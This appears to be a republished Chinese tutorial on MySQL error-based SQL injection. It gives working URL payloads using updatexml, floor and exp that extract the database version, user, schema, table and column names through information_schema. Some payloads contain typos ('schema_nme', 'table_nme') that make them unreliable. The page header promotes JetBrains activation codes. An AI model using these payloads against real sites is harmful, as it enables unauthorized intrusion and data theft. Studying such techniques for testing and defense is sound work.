mysql报错注入_mysql报错注入[通俗易懂]

mysql报错注入_mysql报错注入[通俗易懂]报错注入这里主要介绍3种MySQL数据库报错注入的发法,分别是updatexml、floor和exp。1.updatexmlupdatexml的报错原理从本质上来说就是函数的报错。selectupdatexml(1,concat(0x7e,(selectversion()),0x7e),1);这里还是使用前面的例子,举出一个爆破数据库版本的样例Payload:爆破数据库版本信息?id=1’+…

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用

报错注入

这里主要介绍3种MySQL数据库报错注入的发法,分别是updatexml、floor和exp。

1.updatexml

updatexml的报错原理从本质上来说就是函数的报错。

select updatexml(1,concat(0x7e,(select version()),0x7e),1);

这里还是使用前面的例子,举出一个爆破数据库版本的样例Payload:

爆破数据库版本信息

?id=1′ +updatexml(1,concat(0x7e,(select version()),0x7e),1)%23

?id=1′ and updatexml(1,concat(0x7e,(select version()),0x7e),1) –+

其中0x7e是ASCII编码,解码结果。

mysql报错注入_mysql报错注入[通俗易懂]

爆破当前用户

?id=1′ and updatexml(1,concat(0x7e,(select user()),0x7e),1) –+

mysql报错注入_mysql报错注入[通俗易懂]

爆破当前使用的数据库

?id=1′ and updatexml(1,concat(0x7e,(select database()),0x7e),1) –+

mysql报错注入_mysql报错注入[通俗易懂]

爆破数据库中的库名

?id=1′ and updatexml(1,concat(0x7e,(select schema_nme from information_schema.schemata limit 0,1),0x7e),1) –+

mysql报错注入_mysql报错注入[通俗易懂]

爆破表名

?id=1′ and updatexml(1,concat(0x7e,(select table_nme from information_schema.tables where table_schema= ‘test’ limit 0,1),0x7e),1) –+

mysql报错注入_mysql报错注入[通俗易懂]

其他功能的Payload可以参照下面floor的使用方法来修改。

2.floor

爆破数据库版本信息

?id=1′ +and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

mysql报错注入_mysql报错注入[通俗易懂]

爆破当前用户

?id=1′ +and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

mysql报错注入_mysql报错注入[通俗易懂]

爆破当前使用的数据库

?id=1′ +and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

mysql报错注入_mysql报错注入[通俗易懂]

爆破指定表的字段(下面以表名为emails举例说明)

?id=1′ +and(select 1 from(select count(*),concat((select (select (select concat(0x7e,column_name,0x7e) from information_schema.columns where table_name=0x656d61696c73 limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

mysql报错注入_mysql报错注入[通俗易懂]

注意,这里我们采用的是十六进制编码后的表名。如果想采用非十六进制编码的表名则需要添加引号,但是这时候有可能会出现单引号导致的报错。

这这里,我们只演示爆破数据库版本的Payload,关于其他Payload,可自行研究并复现。

3.exp

接下来是exp函数报错,exp()报错的本质原因是报错。我们可以在MySQL中进行。

select exp(~(select * from (select user())x));

同样使用前面的例子,Payload为。

?id=1′ and exp(~(select * from (select user())x))%23

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/187426.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 【大话设计模式】—— 模板方法模式

    【大话设计模式】—— 模板方法模式

    2021年12月8日
    67
  • uml点餐系统活动图_UML 活动图

    uml点餐系统活动图_UML 活动图•活动图概述活动图概述•活动图和交互图是UML中对系统动态方面建模的两种主要形式•交互图强调的是对象到对象的控制流,而活动图则强调的是从活动到活动的控制流•活动图是一种表述过程基理、业务过程以及工作流的技术。它可以用来对业务过程、工作流建模,也可以对用例实现甚至是程序实现来建模•UML2.0而言,去除了“活动图是状态图的一种特例”这一规定•如何阅读活动图阅读简单活动图活动图的主要元素•初始节点和…

    2022年6月10日
    40
  • 2021数模美赛A题翻译及思路

    2021数模美赛A题翻译及思路A题懒得看了,不占坑了,可以去看看我EF的思路(还在占坑)问题A:菌类2021美赛A题思路。2021美赛A题解法。2021美赛思路,2021美赛数学建模思路,欢迎加入秀儿为你弹奏东风破:752899821碳循环描述了整个地球地球化学循环中碳交换的过程,是地球生命的重要组成部分。碳循环的一部分包括化合物的分解,使碳得以更新并以其他形式使用。该过程的这一部分的关键组成部分是植物材料和木质纤维的分解。分解木质纤维的一些关键因素是真菌。最近关于真菌通过木材分解的研究文章的作者确定了决定分解速率的真菌性状,并

    2022年5月7日
    46
  • 详细阐述基于时间的反向传播算法(Back-Propagation Through Time,BPTT)「建议收藏」

    详细阐述基于时间的反向传播算法(Back-Propagation Through Time,BPTT)「建议收藏」上一节我们说了详细展示RNN的网络结构以及前向传播,在了解RNN的结构之后,如何训练RNN就是一个重要问题,训练模型就是更新模型的参数,也就是如何进行反向传播,也就意味着如何对参数进行求导。本篇内容就是详细介绍RNN的反向传播算法,即BPTT。首先让我们来用动图来表示RNN的损失是如何产生的,以及如何进行反向传播,如下图所示。上面两幅图片,已经很详细的展示了损失是如何产生的,以及…

    2022年6月23日
    40
  • 杭电1396

    杭电1396一道简单的找规律的题,昨天下午看的,晚上上物理课时想了想,本打算昨天晚上回寝室提交的,结果xd在寝室非要看什么微电影,,,我擦,,,结果一微微了125分钟。。。。。。。今天上午第一次提交,,,竟然wr,,,让我很是震惊,,,明明思路没错的啊。后来仔细想了想,我擦,,竟然还有倒着的三角形。。。。无语。下面是题:Givenanequilateraltrianglewithnthe…

    2022年8月12日
    4
  • ArrayList中的toArray[通俗易懂]

    ArrayList中的toArray[通俗易懂]ArrayList提供了一个将List转为数组的一个非常方便的方法toArray。toArray有两个重载的方法:1.list.toArray();2.list.toArray(T[] a);对于第一个重载方法,是将list直接转为Object[]数组;第二种方法是将list转化为你所需要类型的数组,当然我们用的时候会转化为与list内容相同的类型。 

    2022年5月15日
    40

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号